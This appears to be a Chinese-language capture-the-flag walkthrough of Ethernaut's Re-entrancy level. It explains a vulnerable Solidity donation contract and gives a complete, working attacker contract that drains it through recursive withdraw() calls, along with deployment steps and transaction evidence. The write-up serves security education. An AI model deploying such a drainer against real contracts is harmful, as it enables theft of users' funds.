CTF Re-entrancy

這關的核心旨在揭示 Solidity 中最惡名昭彰的漏洞之一:重入攻擊(Re-entrancy)。歷史上著名的 The DAO 事件就是因為這個漏洞,導致價值數千萬美元的以太幣被駭客盜走,甚至直接導致了以太坊的硬分叉(Ethereum 與 Ethereum Classic 的誕生)。

許多開發者在撰寫合約時,習慣依照直覺「先發送資金,再更新餘額」。但實際上,在呼叫外部合約發送資金時,程式的控制權會暫時轉移給對方。這道題目帶給開發者最重要的資安教訓是,在處理以太幣轉帳時,必須嚴格遵守「檢查-生效-互動(Checks-Effects-Interactions)」模式(即先扣除餘額,最後再發送資金),或是使用防重入鎖(ReentrancyGuard)來防禦此類攻擊。

題目位置:https://ethernaut.openzeppelin.com/level/10


題目說明

這關會給你一個名為 Reentrance 的智能合約實例,這是一個簡單的捐款平台,允許使用者捐款與提款。玩家的唯一目標是:利用漏洞,將合約裡所有的資金(以太幣)全部偷走,讓合約餘額歸零。合約內容如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

代碼解說

狀態變數

    • mapping(address => uint256) public balances;:宣告一個映射(mapping),用來記錄每一個地址在這個合約裡存了(或捐了)多少錢。

    捐款與查詢函數

      • function donate(address _to) public payable:這是一個允許接收以太幣(payable)的公開方法,呼叫時附帶的金額會被加到 _to 這個地址的餘額紀錄中。
      • function balanceOf(address _who) public view returns (uint256 balance):用來查詢某個特定地址目前在合約中的餘額。

      提款函數

        • function withdraw(uint256 _amount) public:允許使用者提領自己帳戶內的資金。
        • if (balances[msg.sender] >= _amount):首先,合約會檢查提款人(msg.sender)帳面上的餘額是否大於或等於想要提領的金額。
        • (bool result,) = msg.sender.call{value: _amount}("");:這是合約中最危險的一行。合約使用底層的 call 方法,將指定金額的以太幣發送給呼叫者。
          • (bool result,):前面是布林值 (Boolean):如果轉帳成功就是 true,如果對方拒絕接收或發生錯誤就是 false,我們把它命名為 result。逗號後面是位元組資料,如果對方有回傳任何錯誤訊息或資料,會放在這裡,但因為是空的,這代表開發者告訴系統,不管對方回傳了什麼資料,都直接丟掉。
          • msg.sender:代表呼叫這個函數的人 。
          • .call:這是 Solidity 的「低階呼叫」指令。它可以對目標發出指令,或單純用來轉帳。
          • {value: _amount}:大括號裡面放的是這筆交易要夾帶的以太幣數量。
          • (""):小括號裡面放的是要呼叫的「函數名稱(Data Payload)」。因為這裡是空字串 "",代表「我沒有要呼叫任何特定函數,我只是要單純塞錢給你」。
        • if (result) { _amount; }:如果剛剛的轉帳成功了(result == true),繼續執行大括號 { ... } 裡面的動作,但_amount是無效程式碼,主要是為了避開一些檢查,可以不管他。
        • balances[msg.sender] -= _amount;:在成功發送資金之後,合約才將提款人的帳面餘額扣除。

        合約互動

        在chrome的Tools > Developer Tools可以直接和智能合約互動,如下

        查詢donate狀況

        > await getBalance(instance) 
        '0.001'

        donate 0.001, 可以發現存款變多

        > await contract.donate(player, { value: toWei("0.001") })
        > await getBalance(instance) 
        '0.002'

        漏洞分析

        在 Solidity 中,當合約透過 call 發送以太幣給另一個智能合約時,接收方合約的 receive() 或 fallback() 函數會被自動觸發執行。

        在這個 Reentrance 合約的 withdraw 函數中,致命傷在於它「先發送資金,後扣除餘額」。 這意味著,如果攻擊者(駭客)撰寫一個惡意合約去呼叫 withdraw(),當靶機合約執行 call 轉帳給惡意合約時,惡意合約的 receive() 函數會被觸發。此時,因為靶機合約還沒執行到 balances[msg.sender] -= _amount; 這行扣款邏輯,所以在靶機的帳本裡,攻擊者的餘額依舊是滿的。

        攻擊者只要在自己的 receive() 函數中,再次呼叫靶機的 withdraw() 函數,就會造成「重入(Re-entrancy)」。這個過程會像無限迴圈一樣,不斷地「轉帳 -> 觸發惡意合約 ->再次要求提款 -> 再次轉帳」,直到靶機合約裡的資金被完全榨乾為止。

        解答步驟

        這關無法單純靠網頁控制台完成,需要撰寫並部署一個惡意合約來進行攻擊。

        1. 準備攻擊合約 :

        新建一個名為 Attack.sol 的檔案,貼上以下程式碼:

        // SPDX-License-Identifier: MIT
        pragma solidity ^0.8.0;
        
        interface IReentrance {
            function donate(address _to) external payable;
            function withdraw(uint _amount) external;
        }
        
        contract Attack {
            IReentrance public target;
            uint public amount = 0.001 ether;
        
            constructor(address _targetAddress) {
                target = IReentrance(_targetAddress);
            }
        
            function attack() external payable {
                require(msg.value >= amount, "Need some ETH");
                target.donate{value: amount}(address(this));
                target.withdraw(amount);
            }
        
            receive() external payable {
                uint targetBalance = address(target).balance;
                if (targetBalance > 0) {
                    target.withdraw(amount <= targetBalance ? amount : targetBalance);
                }
            }
        }
        

        2.代碼解說

        介面與變數 (Interface & Variables)

        interface IReentrance {
            function donate(address _to) external payable;
            function withdraw(uint _amount) external;
        }
        
        • interface (介面):這是靶機的說明書。因為你的攻擊合約原本不認識靶機,透過定義介面,攻擊合約才知道靶機身上有 donate 和 withdraw 這兩個按鈕可以按,以及呼叫它們時需要帶入什麼參數。
        IReentrance public target;
        uint public amount = 0.001 ether;
        
        constructor(address _targetAddress) {
            target = IReentrance(_targetAddress);
        }
        • target:用來儲存靶機的地址,並將其包裝成上面定義的 IReentrance 介面,方便後續直接呼叫。
        • amount:設定每次抽水的「管徑」。設定為 0.001 ETH 是因為靶機預設裡面有 0.001 ETH,加上你攻擊時帶入的 0.001 ETH,總共 0.002 ETH,每次抽 0.001 剛好可以觸發多次迴圈。
        • constructor:在你按下 Remix 的 Deploy 時執行,把靶機的實例地址綁定到合約上。

        點火開關:attack() 函數

        function attack() external payable {
            require(msg.value >= amount, "Need some ETH");
            
            target.donate{value: amount}(address(this));
            target.withdraw(amount);
        }
        
        • require:安全檢查,確保你按 attack 時, Value 欄位大於 0.001 ETH 當作子彈。
        • target.donate... :攻擊合約帶著這 0.001 ETH 呼叫靶機的 donate。靶機會在它的帳本上記錄:balances[攻擊合約] = 0.001 ETH。有了這筆帳面餘額,才能騙過靶機的提款檢查。
        • target.withdraw(amount):立刻向靶機要求提款 0.001 ETH。這會觸發靶機把錢轉給我們。

        無窮迴圈陷阱:receive() 函數

        這是重入攻擊的真正核心。這是一個特殊的內建函數,當任何人(包含靶機)單純轉帳 ETH 給這個合約時,這個函數就會被「自動觸發」。

        receive() external payable {
            uint targetBalance = address(target).balance;
            if (targetBalance > 0) {
                target.withdraw(amount <= targetBalance ? amount : targetBalance);
            }
        }
        • 觸發時機:當靶機在回應上面的 target.withdraw,並使用 .call{value: 0.001 ether}("") 把錢發送給你的合約時,這段程式碼會瞬間介入接管控制權。
        • targetBalance:攻擊合約先偷看一下靶機的金庫裡還剩多少錢。
        • if (targetBalance > 0):只要靶機還沒被抽乾,就繼續攻擊。
        • 再次呼叫 target.withdraw(...):這是最致命的一擊。因為靶機還沒執行到「扣除我們帳面餘額」的程式碼(靶機卡在發送 ETH 那一步),所以當我們第二次要求提款時,靶機依然以為我們有 0.001 ETH 的額度,於是又傻傻地把錢轉過來。
        • 三元運算子 ? ::這是一個防呆機制。意思是「如果靶機餘額大於等於 0.001,就提款 0.001;如果靶機餘額剩下不到 0.001(例如剩 0.0005),那就把剩下的零頭全部提光」。這能防止最後一次提款因為金額不足而導致整筆交易失敗 (Revert)。

        完整攻擊合約流程

        這段攻擊在區塊鏈上是在零點幾秒內的一筆交易中瞬間完成的:

        1. 你呼叫 attack() -> 捐款 0.001 -> 要求提款 0.001。
        2. 靶機檢查你有餘額 -> 轉出 0.001 給你。
        3. 你的 receive() 被觸發 -> 發現靶機還有錢 -> 再次要求提款 0.001。
        4. 靶機(還沒扣除你的餘額)檢查發現你還有餘額 -> 又轉出 0.001 給你。
        5. 你的 receive() 再次被觸發 -> 再次要求提款 0.001。
        6. 靶機不斷轉錢,直到金庫歸零。
        7. 惡意合約的 if (targetBalance > 0) 條件不成立,停止迴圈。
        8. 靶機這才慢吞吞地開始執行它程式碼後面的 balances -= _amount,但金庫早就已經被你掏空了。

        3. 部署惡意合約並執行攻擊

        • 在 Remix 左側的 Deploy 頁籤中,環境(Environment)選擇 Injected Provider – MetaMask。
        • 在 Deploy 欄位旁傳入你剛剛在控制台取得的靶機合約地址(instance的地址),點擊 Deploy 部署惡意合約。部署完成後,假設佈署完的攻擊合約為0x4c9c7ad14dD32C56202e7d7A98c2cdf7520d8583
        • 在執行函數的地方,把Value 欄位設定為 1 Finney(等同於 0.001 Ether,這是我們發動攻擊需要的初始資金),觸發 attack 函數 ,惡意合約會在一瞬間透過遞迴的方式把靶機抽乾。

        檢查結果

        回到瀏覽器開發者控制台,再次檢查餘額己歸0,查看攻擊合約發現拿到所有的donate為 0.03, 如下

        > await getBalance(instance)
        "0" 
        >await getBalance("0x4c9c7ad14dD32C56202e7d7A98c2cdf7520d8583");
        '0.003'

        此時點擊網頁上的 Submit instance 即可通關

        Sepolia區塊鏈瀏覽器的記錄

        Re-entrancy的動作在一般的 Transactions 頁籤裡找不到合約之間的轉帳紀錄,但可以在 Internal Txns(內部交易)找到,可以看到智能合約呼叫另一個智能合約所產生的資金流動。可以看到一長串極度密集的轉帳紀錄,重現重入攻擊軌跡:

        1. Out (轉出):你的 Attack 合約轉了 0.001 ETH 給靶機(這是 target.donate 佈下誘餌的動作)。
        2. In (轉入):靶機轉了 0.001 ETH 給你的 Attack 合約(這是第一次 withdraw)。
        3. In (轉入):靶機又轉了 0.001 ETH 給你(第一次重入)。
        4. In (轉入):靶機最後把剩下的 0.001 ETH 轉給你(第二次重入,榨乾)。

        記錄可參考 https://sepolia.etherscan.io/tx/0x50bc4396e968bb390f8c3d6767daf8a7b2911339267322524832bd2262661263#internal